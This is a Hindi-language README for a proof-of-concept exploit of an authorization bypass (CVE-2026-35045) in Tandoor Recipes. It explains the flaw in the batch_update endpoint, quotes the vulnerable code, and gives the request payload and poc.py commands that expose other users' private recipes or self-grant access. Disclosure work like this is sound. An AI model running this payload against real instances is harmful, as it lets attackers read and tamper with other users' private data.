
CVE-2026-35045 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Tandoor Recipes में एक टूटी हुई ऑब्जेक्ट-स्तरीय प्राधिकरण भेद्यता है, जो batch_update API एंडपॉइंट के माध्यम से अनधिकृत रेसिपी संशोधन को प्रदर्शित करता है।
Tandoor Recipes v2.6.1 में PUT /api/recipe/batch_update/ एंडपॉइंट Space के भीतर किसी भी प्रमाणित उपयोगकर्ता को उस Space में किसी भी रेसिपी को संशोधित करने की अनुमति देता है — जिसमें अन्य उपयोगकर्ताओं के स्वामित्व वाली निजी रेसिपी भी शामिल हैं। यह सभी मानक एकल-रेसिपी एंडपॉइंट्स पर लागू ऑब्जेक्ट-स्तरीय प्राधिकरण जांचों को पूरी तरह से बायपास करता है।
मूल कारण Django REST Framework का एक व्यवहारिक अंतर है: detail=False लिस्ट-एक्शन कभी भी has_object_permission() को कॉल नहीं करते, केवल has_permission() को कॉल करते हैं। क्वेरीसेट केवल space=request.space द्वारा फ़िल्टर करता है, जिसमें created_by, private, या shared सूची की कोई जाँच नहीं होती। एक हमलावर निजी रेसिपी को बलपूर्वक उजागर कर सकता है, स्वयं को स्थायी पहुँच प्रदान कर सकता है, अन्य उपयोगकर्ताओं की अनुमतियाँ रद्द कर सकता है, और मेटाडेटा के साथ छेड़छाड़ कर सकता है — यह सब एक ही API कॉल में जो HTTP 200 OK खाली बॉडी के साथ लौटाता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास |
| CVSS v3.1 | 8.1 उच्च — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| प्रभावित संस्करण | Tandoor Recipes ≤ 2.6.1 |
| विक्रेता | TandoorRecipes/recipes |
| तकनीक ID | नाम | प्रासंगिकता |
|---|---|---|
| T1078 | वैध खाते | हमलावर प्राधिकरण बायपास करने के लिए वैध निम्न-विशेषाधिकार क्रेडेंशियल का उपयोग करता है |
| T1565.001 | संग्रहीत डेटा हेरफेर | अन्य उपयोगकर्ताओं के स्वामित्व वाली निजी रेसिपी और ACL संशोधित करना |
detail=False ऑब्जेक्ट-स्तरीय अनुमति जाँचों को बायपास करता हैफ़ाइल: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← No created_by or private check
)
Django REST Framework में, detail=False के साथ पंजीकृत एक्शन लिस्ट-एक्शन होते हैं। वे कभी भी get_object() को कॉल नहीं करते, जिसका अर्थ है कि check_object_permissions() और CustomRecipePermission.has_object_permission() कभी लागू नहीं होते। केवल has_permission() चलता है — जो Space सदस्यता की पुष्टि करता है, रेसिपी स्वामित्व की नहीं।
PUT /api/recipe/{id}/ पूर्ण DRF अनुमति प्रवाह का पालन करता है:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ denies access if recipe is private and not owned/shared with requester
batch_update एंडपॉइंट इस पूरी श्रृंखला को चुपचाप छोड़ देता है।
RecipeBatchUpdateSerializer निम्नलिखित फ़ील्ड उजागर करता है — Space में किसी भी रेसिपी पर लिखने योग्य:
| फ़ील्ड | प्रभाव |
|---|---|
private | रेसिपी दृश्यता टॉगल करें |
shared_add / shared_remove / shared_set | एक्सेस नियंत्रण सूची में हेरफेर करें |
keywords_add / keywords_remove / keywords_set | रेसिपी मेटाडेटा बदलें |
working_time / waiting_time | रेसिपी समय डेटा संशोधित करें |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│ Tandoor Server │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space member)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NEVER CALLED │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← No ownership check
│
▼
┌────────────────┐
│ Recipe ID 2 │
│ (owned by A) │
│ private=false ← patched
│ shared=[2] ← self-granted
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attacker (B) │
│ now has full │
│ access to │
│ Recipe ID 2 │
└────────────────┘
requests लाइब्रेरीpip install requests
# Force-expose a private recipe and self-grant access (default)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Force-expose only (set private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Self-grant only (add to shared list, keep private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| एक्शन | विवरण |
|---|---|
expose | लक्ष्य रेसिपी पर private: false सेट करता है — सभी Space सदस्यों को दृश्यता बलपूर्वक प्रदान करता है |
self_grant | हमलावर की उपयोगकर्ता ID को shared_add में जोड़ता है — रेसिपी निजी रहने पर भी स्थायी पहुँच प्रदान करता है |
both | एक ही अनुरोध में दोनों एक्शन चलाता है (डिफ़ॉल्ट) |